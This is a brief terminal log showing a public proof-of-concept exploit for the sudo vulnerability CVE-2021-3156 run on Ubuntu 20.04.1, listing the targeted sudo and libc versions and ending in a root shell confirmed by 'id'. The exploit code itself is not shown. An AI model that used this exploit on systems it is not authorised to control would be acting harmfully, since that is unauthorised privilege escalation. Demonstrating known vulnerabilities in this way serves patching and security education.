CVE-2021-3156

xchg@ubuntu:~/Desktop/CVE-2021-3156$ ./sudo-hax-me-a-sandwich

** CVE-2021-3156 PoC by blasty peter@haxx.in

usage: ./sudo-hax-me-a-sandwich

available targets:

0) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
1) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28

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xchg@ubuntu:~/Desktop/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0

** CVE-2021-3156 PoC by blasty peter@haxx.in

using target: 'Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31' ** pray for your rootshell.. ** [+] bl1ng bl1ng! We got it!

id

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(xchg)